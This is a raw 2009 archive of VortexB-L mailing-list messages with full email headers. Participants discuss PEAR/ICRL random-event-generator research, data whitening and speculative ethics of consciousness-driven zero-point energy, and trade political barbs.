:content-type:content-transfer-encoding; b=HZwTczMDUr7XLcH2Q2B3AWwGcQp/6XE/Cdqv62Vb55AGhZzC7/OJd3edENhjVI7m7w stfrh5DP8jWpHVUxTkdZLe8L5g0UXRdlKUTUVZSYswU17z07cYZMRL3FszpKyvUZleug KYm/QIeFtonJhaHSg9nA34xTb4OOExHcBu3HI= MIME-Version: 1.0 In-Reply-To: <20090521135846.GA1262@shell.resist.ca> References: <20090521135846.GA1262@shell.resist.ca> Date: Thu, 21 May 2009 10:40:41 -0500 Message-ID: Subject: Re: This is VortexB-L... From: OrionWorks To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3989 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 231 Grok sez: > As the smoke cleared, OrionWorks > mounted the barricade and roared out: > >> Ok Grok. You're invited to come along for the ride. I have many questions. > > Ever in denial, eh? > > - -- grok. I extend an invitation for you to express yourself more clearly - and you respond with a judgment that I'm in denial? Would you like to explain yourself? Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 09:32:06 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LGVs2o030398; Thu, 21 May 2009 09:31:59 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LGVs3v030387; Thu, 21 May 2009 09:31:54 -0700 Resent-Date: Thu, 21 May 2009 09:31:54 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> From: Zachary Jones To: vortexb-l@eskimo.com In-Reply-To: <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v935.3) Subject: Re: PEAR/ ICRL research Date: Thu, 21 May 2009 09:31:48 -0700 References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3990 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 232 I wouldn't have thought Vortex-L was the domain of consciousness- related aspects of the question - which was the real focus of it. The kind of hysteresis you write about in the linked paper is well- known, and causes a drift in the baseline data. Statistical methods correct for this hysteresis / drift specifically by using it as a baseline, thus factoring the drift into calculations of operator- induced deviation. In REG devices, thermal regulation and EM shielding of the circuit provides the primary mechanism for reduction of drift over very long timescales. I didn't see your paper identify any 'whitening' methods used by PEAR / ICRL on their REGs - I've never heard of any data adjustment being done. Maybe Roger did in his Noosphere work? Regarding randomness, though, PEAR personnel also did research with pseudo-random generators. They found the output much more 'clouded' and effects, if present, were just on the edge of statistical significance. Even though all agreed that the data showed too much variance for useful instrumentation, the effect was still seen despite the 'wash' of the unregulated number generation circuit. So the statement that a sources is invalid because it's "not truly random" may be only relevant insomuch as it makes measurement too difficult. As the PEAR / ICRL work is well documented at their site and in journals, my focus remains on the ethical dimension of the question Zak On May 21, 2009, at 5:13 AM, Horace Heffner wrote: > > On May 20, 2009, at 11:00 PM, Zachary Jones wrote: > >> If zero-point fluctuations are sensitive to consciousness, >> >> and given the PEAR / ICRL research showing operator influence upon >> random-event generators, >> >> does the advent of ZPE power generation contain an ethics debate? >> >> Is it reasonable to conjecture a mind-state that generates optimum >> power levels? >> >> Postulating that any strong mind state would increase ZPE power >> output, what could be the societal ramifications for choosing >> energy providers based on their values? >> >> >> >> Thank you, >> Zak > > > Why is this not being posted to vortex-l? It seems to me to be an on > topic post. > > I have some doubts about the PEAR / ICRL work (done at Princeton if > I recall) due to the whitening methods applied. I posted on this > topic on vortex-l, and have summarized some suggestions for improved > whitening techniques here: > > http://www.mtaonline.net/~hheffner/RandPad.pdf > > This info might be way out of date because I haven't followed the > project since then. > > My point earlier was that the whitening methods used have flaws, so > the random number generators are not truly random. > > This presents two problems: (1) improving the whitening technique (I > provided a means to do this) and (2) consideration of the fact that > the raw data should not be whitened at all, because the whitening > method may be washing out the very data sought. > > The need for whitening is primarily due to hysteresis, bias, > introduced into the random pad due to electronic circuits or other > physical processes. This kind of systematic bias can be handled by > choice of the statistical technique applied, e.g. by use of the > Student's t-distribution (t-test) methods to compare samples over > separate time intervals. > > > Best regards, > > Horace Heffner > http://www.mtaonline.net/~hheffner/ > > > > From vortexb-l-request@eskimo.com Thu May 21 09:56:39 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LGuZ9o014627; Thu, 21 May 2009 09:56:35 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LGuU4w014589; Thu, 21 May 2009 09:56:30 -0700 Resent-Date: Thu, 21 May 2009 09:56:30 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Eon-Dm: dm0206 X-Eon-Sig: Af////9KFYe+Sti7VQIAAAAB,be585dff250dd8d62312a00ef93fa260 Message-ID: Reply-To: "Nick Palmer" From: "Nick Palmer" To: References: <4a2adf8d0905210729i2b914002k3871f04a95a8e90@mail.gmail.com> In-Reply-To: <4a2adf8d0905210729i2b914002k3871f04a95a8e90@mail.gmail.com> Subject: Re: This is VortexB-L... Date: Thu, 21 May 2009 17:56:03 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0022_01C9DA3D.68757C40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18000 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18049 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3991 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 233 This is a multi-part message in MIME format. ------=_NextPart_000_0022_01C9DA3D.68757C40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable That's not Debbie "CompuServe, quaternions and Nasa" is it? If so, = Helllooo from a Brit!! Nick Palmer On the side of the Planet - and the people - because they're worth it ------=_NextPart_000_0022_01C9DA3D.68757C40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
That's not Debbie "CompuServe, = quaternions and=20 Nasa" is it? If so, Helllooo from a Brit!!
 
Nick Palmer
 
On the side of the Planet - and the = people -=20 because they're worth it
------=_NextPart_000_0022_01C9DA3D.68757C40-- From vortexb-l-request@eskimo.com Thu May 21 10:19:03 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LHJ0dm030566; Thu, 21 May 2009 10:19:01 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LHJ0fx030555; Thu, 21 May 2009 10:19:00 -0700 Resent-Date: Thu, 21 May 2009 10:19:00 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4A158CE8.5020606@lacy.com.ar> Date: Thu, 21 May 2009 14:18:32 -0300 From: Mauro Lacy User-Agent: Thunderbird 2.0.0.21 (X11/20090409) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: PEAR/ ICRL research References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> In-Reply-To: <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> X-Enigmail-Version: 0.95.7 OpenPGP: id=C6D2C30D; url=http://maurol.com.ar/publickey.asc Content-Type: multipart/alternative; boundary="------------070304080805080401090906" X-AV-Checked: ClamAV using ClamSMTP Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3992 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 234 This is a multi-part message in MIME format. --------------070304080805080401090906 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Zachary Jones wrote: > I wouldn't have thought Vortex-L was the domain of consciousness- > related aspects of the question - which was the real focus of it. > > The kind of hysteresis you write about in the linked paper is well- > known, and causes a drift in the baseline data. Statistical methods > correct for this hysteresis / drift specifically by using it as a > baseline, thus factoring the drift into calculations of operator- > induced deviation. In REG devices, thermal regulation and EM > shielding of the circuit provides the primary mechanism for reduction > of drift over very long timescales. I didn't see your paper identify > any 'whitening' methods used by PEAR / ICRL on their REGs - I've never > heard of any data adjustment being done. Maybe Roger did in his > Noosphere work? > > Regarding randomness, though, PEAR personnel also did research with > pseudo-random generators. They found the output much more 'clouded' > and effects, if present, were just on the edge of statistical > significance. Even though all agreed that the data showed too much > variance for useful instrumentation, the effect was still seen despite > the 'wash' of the unregulated number generation circuit. So the > statement that a sources is invalid because it's "not truly random" > may be only relevant insomuch as it makes measurement too difficult. > > > As the PEAR / ICRL work is well documented at their site and in > journals, my focus remains on the ethical dimension of the question > Well, assuming the effect is real (as I think it is): 1) It is very rare, and/or not very powerful actually. 2) We are entering science fiction / anticipation literature here. Have you seen the X-Men saga? Or the Hero series? But anyways. Supposing that this effect grows stronger in the future, or better said, that mankind or part of mankind learns how to manage it better: The "classic" line says that only those that are worthy of these powers, will be able to control them. That is, some kind of built in self protection, at the ethical level. Of course, the various anticipation series speculate about an "evil genius" which will be able to use these powers for bad, but I personally think that a "technology" like that, although certainly disruptive, will be used mostly for good. And particularly regarding the ethical dimension, take into account that, if these powers really exist and transcend matter, as we are beginning to see they do, the logical thing to conclude is that "on other side", from where these powers really come and belong, there is probably an entire world, with its own rules, hierarchies, harmony, and of course, ethics. I'm personally much more worried about the ethical dimension(or lack of it, thereof) of everyday science, technology and human affairs, than about these potential mind powers of the future. > > Zak > > > > On May 21, 2009, at 5:13 AM, Horace Heffner wrote: > > >> On May 20, 2009, at 11:00 PM, Zachary Jones wrote: >> >> >>> If zero-point fluctuations are sensitive to consciousness, >>> >>> and given the PEAR / ICRL research showing operator influence upon >>> random-event generators, >>> >>> does the advent of ZPE power generation contain an ethics debate? >>> >>> Is it reasonable to conjecture a mind-state that generates optimum >>> power levels? >>> >>> Postulating that any strong mind state would increase ZPE power >>> output, what could be the societal ramifications for choosing >>> energy providers based on their values? >>> >>> >>> >>> Thank you, >>> Zak >>> >> Why is this not being posted to vortex-l? It seems to me to be an on >> topic post. >> >> I have some doubts about the PEAR / ICRL work (done at Princeton if >> I recall) due to the whitening methods applied. I posted on this >> topic on vortex-l, and have summarized some suggestions for improved >> whitening techniques here: >> >> http://www.mtaonline.net/~hheffner/RandPad.pdf >> >> This info might be way out of date because I haven't followed the >> project since then. >> >> My point earlier was that the whitening methods used have flaws, so >> the random number generators are not truly random. >> >> This presents two problems: (1) improving the whitening technique (I >> provided a means to do this) and (2) consideration of the fact that >> the raw data should not be whitened at all, because the whitening >> method may be washing out the very data sought. >> >> The need for whitening is primarily due to hysteresis, bias, >> introduced into the random pad due to electronic circuits or other >> physical processes. This kind of systematic bias can be handled by >> choice of the statistical technique applied, e.g. by use of the >> Student's t-distribution (t-test) methods to compare samples over >> separate time intervals. >> >> >> Best regards, >> >> Horace Heffner >> http://www.mtaonline.net/~hheffner/ >> >> >> >> >> > > > --------------070304080805080401090906 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Zachary Jones wrote: 
I wouldn't have thought Vortex-L was the domain of consciousness- 
related aspects of the question - which was the real focus of it.

The kind of hysteresis you write about in the linked paper is well- 
known, and causes a drift in the baseline data.  Statistical methods  
correct for this hysteresis / drift specifically by using it as a  
baseline, thus factoring the drift into calculations of operator- 
induced deviation.  In REG devices, thermal regulation and EM  
shielding of the circuit provides the primary mechanism for reduction  
of drift over very long timescales.  I didn't see your paper identify  
any 'whitening' methods used by PEAR / ICRL on their REGs - I've never  
heard of any data adjustment being done.  Maybe Roger did in his  
Noosphere work?

Regarding randomness, though, PEAR personnel also did research with  
pseudo-random generators.  They found the output much more 'clouded'  
and effects, if present, were just on the edge of statistical  
significance.  Even though all agreed that the data showed too much  
variance for useful instrumentation, the effect was still seen despite  
the 'wash' of the unregulated number generation circuit.  So the  
statement that a sources is invalid because it's "not truly random"  
may be only relevant insomuch as it makes measurement too difficult.


As the PEAR / ICRL work is well documented at their site and in  
journals, my focus remains on the ethical dimension of the question

Well, assuming the effect is real (as I think it is):
1) It is very rare, and/or not very powerful actually.

2) We are entering science fiction / anticipation literature here. Have you seen the X-Men saga? Or the Hero series? But anyways. Supposing that this effect grows stronger in the future, or better said, that mankind or part of mankind learns how to manage it better:
The "classic" line says that only those that are worthy of these powers, will be able to control them. That is, some kind of built in self protection, at the ethical level. Of course, the various anticipation series speculate about an "evil genius" which will be able to use these powers for bad, but I personally think that a "technology" like that, although certainly disruptive, will be used mostly for good.
And particularly regarding the ethical dimension, take into account that, if these powers really exist and transcend matter, as we are beginning to see they do, the logical thing to conclude is that "on other side", from where these powers really come and belong, there is probably an entire world, with its own rules, hierarchies, harmony, and of course, ethics.

I'm personally much more worried about the ethical dimension(or lack of it, thereof) of everyday science, technology and human affairs, than about these potential mind powers of the future.


Zak



On May 21, 2009, at 5:13 AM, Horace Heffner wrote:

  
On May 20, 2009, at 11:00 PM, Zachary Jones wrote:

    
If zero-point fluctuations are sensitive to consciousness,

and given the PEAR / ICRL research showing operator influence upon  
random-event generators,

does the advent of ZPE power generation contain an ethics debate?

Is it reasonable to conjecture a mind-state that generates optimum  
power levels?

Postulating that any strong mind state would increase ZPE power  
output, what could be the societal ramifications for choosing  
energy providers based on their values?



Thank you,
Zak
      
Why is this not being posted to vortex-l? It seems to me to be an on  
topic post.

I have some doubts about the PEAR / ICRL work (done at Princeton if  
I recall) due to the whitening methods applied.  I posted on this  
topic on vortex-l, and have summarized some suggestions for improved  
whitening techniques here:

http://www.mtaonline.net/~hheffner/RandPad.pdf

This info might be way out of date because I haven't followed the  
project since then.

My point earlier was that the whitening methods used have flaws, so  
the random number generators are not truly random.

This presents two problems: (1) improving the whitening technique (I  
provided a means to do this) and (2) consideration of the fact that  
the raw data should not be whitened at all, because the whitening  
method may be washing out the very data sought.

The need for whitening is primarily due to hysteresis, bias,  
introduced into the random pad due to electronic circuits or other  
physical processes. This kind of systematic bias can be handled by  
choice of the statistical technique applied, e.g. by use of the  
Student's t-distribution (t-test) methods to compare samples over  
separate time intervals.


Best regards,

Horace Heffner
http://www.mtaonline.net/~hheffner/

--------------070304080805080401090906-- From vortexb-l-request@eskimo.com Thu May 21 10:26:45 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LHQaug006272; Thu, 21 May 2009 10:26:36 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LHQaOh006265; Thu, 21 May 2009 10:26:36 -0700 Resent-Date: Thu, 21 May 2009 10:26:36 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 10:26:25 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: This is VortexB-L... Message-ID: <20090521172625.GC1262@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521135846.GA1262@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Indigo, K-73, SA-19 Grisom, Green Dragon, Loin User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <2PGLUB.A.1hB.L7YFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3993 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 235 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > Grok sez: > > > As the smoke cleared, OrionWorks > > mounted the barricade and roared out: > > > >> Ok Grok. You're invited to come along for the ride. I have many questions. > > > > Ever in denial, eh? > > > > - -- grok. > > I extend an invitation for you to express yourself more clearly - and > you respond with a judgment that I'm in denial? To the extent that there was a metaphoric smirk on your face when you extended it... why, yes. > Would you like to explain yourself? What I'm getting at is that, rather than most of you people dealing squarely with the serious issues facing your country, the knee-jerk tendency is to try to box-in all dissent with attempts at ridicule and ad hominem (hello Fox News...) And if that doesn't work, well... then time for a little demonstration of good ol' yanqui brute force... And no -- I didn't start the political talk on vortex-l. It's simply that certain things are simply assumed -- or else -- and all else is effectively verboten. Immediately so. That's how class hegemony worx, fella. And so while right-wing trash talk passes by on vortex-l without so much as a comment, or even cognition, anything yours truly dares to venture in contradiction gets 'the treatment' right away. And nothing new under the sun there -- it's standard procedure in Amerikkka. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoVjsEACgkQXo3EtEYbt3Eu4ACcC58AgV8xJKJ+HXH0OiSrDVjs 8ZUAnA/MzREFFWw6bvtCmOM8mkP0q3HU =VYjB -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 10:49:34 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LHnVAj018938; Thu, 21 May 2009 10:49:31 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LHnQf5018899; Thu, 21 May 2009 10:49:26 -0700 Resent-Date: Thu, 21 May 2009 10:49:26 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=LyI5SK1MXb9XdBKqVRJqdPdM9fMKUMKcHkM9Ky4A4j0=; b=aRgw9Bj8LEdcoP+sAqgYUqcPqcoxBgPWJITKY3BOl+4RtYu+WAnyD6DpCKPHzlbxn5 vfy0dV3KQLCkkqmMuMqkQC//DhRMIjLliYbllb04RpVvhuINjgE0v8bipR/QFIsfScjP w2Uqu+TstAZmqm43NfLWs77dXiUlSxZ90bcA0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=dPzZJCeNohlfiWcA2gb3SeyzihF/ZqAw26yn4wcL5qoQwQWoGHE22qelquXQgITNag gqMmTVQtHJjYq8GvofWYIiaVth6QO86F2gEozF0JbkCrwKpLqeNIY6vepD5sEO8lI557 OrBerV5Xdy0iPKcz86+ZT1Nt3f9iGKlDfMVzA= MIME-Version: 1.0 In-Reply-To: <20090521172625.GC1262@shell.resist.ca> References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> Date: Thu, 21 May 2009 12:49:17 -0500 Message-ID: Subject: Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3994 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 236 >From Grok: >> >> Ok Grok. You're invited to come along for the ride. I have many questions. >> > >> > Ever in denial, eh? >> > >> > - -- grok. >> >> I extend an invitation for you to express yourself more clearly - and >> you respond with a judgment that I'm in denial? > > To the extent that there was a metaphoric smirk on your face when you extended it... > why, yes. Oh dear! Busted! >> Would you like to explain yourself? > > What I'm getting at is that, rather than most of you people dealing squarely with the > serious issues facing your country, the knee-jerk tendency is to try to box-in all > dissent with attempts at ridicule and ad hominem (hello Fox News...) And if that > doesn't work, well... then time for a little demonstration of good ol' yanqui brute > force... > > And no -- I didn't start the political talk on vortex-l. It's simply that certain > things are simply assumed -- or else -- and all else is effectively verboten. > Immediately so. That's how class hegemony worx, fella. And so while right-wing trash > talk passes by on vortex-l without so much as a comment, or even cognition, anything > yours truly dares to venture in contradiction gets 'the treatment' right away. And > nothing new under the sun there -- it's standard procedure in Amerikkka. > > - -- grok. So, what do you want to talk about? The world of denial that I live in. The world of truth and justice that you live in. Or something else. You pick. Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 11:04:26 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LI4Kaq011206; Thu, 21 May 2009 11:04:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LI4J79011199; Thu, 21 May 2009 11:04:19 -0700 Resent-Date: Thu, 21 May 2009 11:04:19 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 11:04:08 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: This is VortexB-L... Message-ID: <20090521180408.GD1262@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Indigo, K-73, SA-19 Grisom, Green Dragon, Loin User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <-1Cr-C.A.7uC.jeZFKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3995 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 237 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > So, what do you want to talk about? The world of denial that I live > in. The world of truth and justice that you live in. > > Or something else. > > You pick. Hey. I came to vortex-l looking for Weird Science. But clearly, in this totalitarian capitalist system, all thought -- let alone all science -- must (eventually, anyway) serve the Masters of the Universe. So it's quite natural this all this crap here came about. And history demonstrates well that 'going with the flow' -- as is so often demanded - -- only allows problems to fester and balloon. So I've made a career of _not_ going along with the flow. It's the least I can do for my fellow Man. And it's cost me -- believe me -- in this "democratic" society. 'Good' thing that's all about to "change" now. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoVl5gACgkQXo3EtEYbt3GMpwCfSkCP4NSgkW1L+K+1Wongj4am N78AoOGtxwetbr7d/H7721gA2jQVLulF =+zp4 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 11:08:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LI8cDb016292; Thu, 21 May 2009 11:08:39 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LI8cEO016282; Thu, 21 May 2009 11:08:38 -0700 Resent-Date: Thu, 21 May 2009 11:08:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=8ywRq+jo2xy1/RRTv3k5/UqPgz6iwOnsE0VkPh7XV3o=; b=qDkKLf7K+07VqUf5b+SjpPahfjCtUUgEQQXD2SO7rwWBhi1+hKg0yUIpvMY2DYcoaB J2NKrKuN0xkbIyVbLk7PX2Cp9GmnmKGDyvbZR5gq3zKgxcK7puXW4Ri3vvLNVMLMGDbl 43TWYiCcI2N+PQI9lEbKpA8hdsRNg/X218Sd4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=AbzQr1E04N6mZLrgC9PGOXgD+kDTZNqLP+0lt5+u9HW7JMU/2NAO9rifGXRPIblBTA 18PBhF+FNEraHhZq8tWzV6qsXdJCFMXioLQEqZpbwVYSDpnOS8l0maRHM3Q4+XCjfX50 aQFCIY/HRlSRNcfm/wtsee4gXDtuOOWEK5yoc= MIME-Version: 1.0 In-Reply-To: <4a2adf8d0905210729i2b914002k3871f04a95a8e90@mail.gmail.com> References: <4a2adf8d0905210729i2b914002k3871f04a95a8e90@mail.gmail.com> Date: Thu, 21 May 2009 14:08:33 -0400 Message-ID: Subject: Re: This is VortexB-L... From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <5GkGa.A.M-D.miZFKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3996 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 238 If you can bare with us. Terry On Thu, May 21, 2009 at 10:29 AM, albedo5 wrote: > Will this be where the cool kids hang out now? > > > Debbie (hiya Rick!) > > On Thu, May 21, 2009 at 2:26 AM, William Beaty wrote: >> >> To send messages to vortexB, you can reply to this message. >> >> >> (((((((((((((((((( ( ( =A0( =A0 ( =A0 =A0(O) =A0 =A0) =A0 ) =A0) ) )))))= )))))))))))))) >> William J. Beaty =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0= SCIENCE HOBBYIST website >> billb at amasci com =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 http= ://amasci.com >> EE/programmer/sci-exhibits =A0 amateur science, hobby projects, sci fair >> Seattle, WA =A0206-762-3818 =A0 =A0unusual phenomena, tesla coils, weird= sci >> > > From vortexb-l-request@eskimo.com Thu May 21 11:41:49 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LIfjDX023536; Thu, 21 May 2009 11:41:45 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LIfiIu023498; Thu, 21 May 2009 11:41:44 -0700 Resent-Date: Thu, 21 May 2009 11:41:44 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=EN8Hz51lIhZ1ug08p8IaNHX5Q83iTDK1B5iOzfEjlXw=; b=Q8DUgVVHUTvYq7Fhdc3Jvm9BudU5KhtLrMlBTUa53mVfeNjn6ANZHOSOw/HIJFQj7D H0ExqQNl3c5Dqp0nFVSiTPrVgNR+dTpZYiu7z8nXsMj5Cc/9hnFEpR5hEocuEuwZkB0v R2zoEMF7XsyrjWiY97q+1x9e0642mvZTnOxX8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; 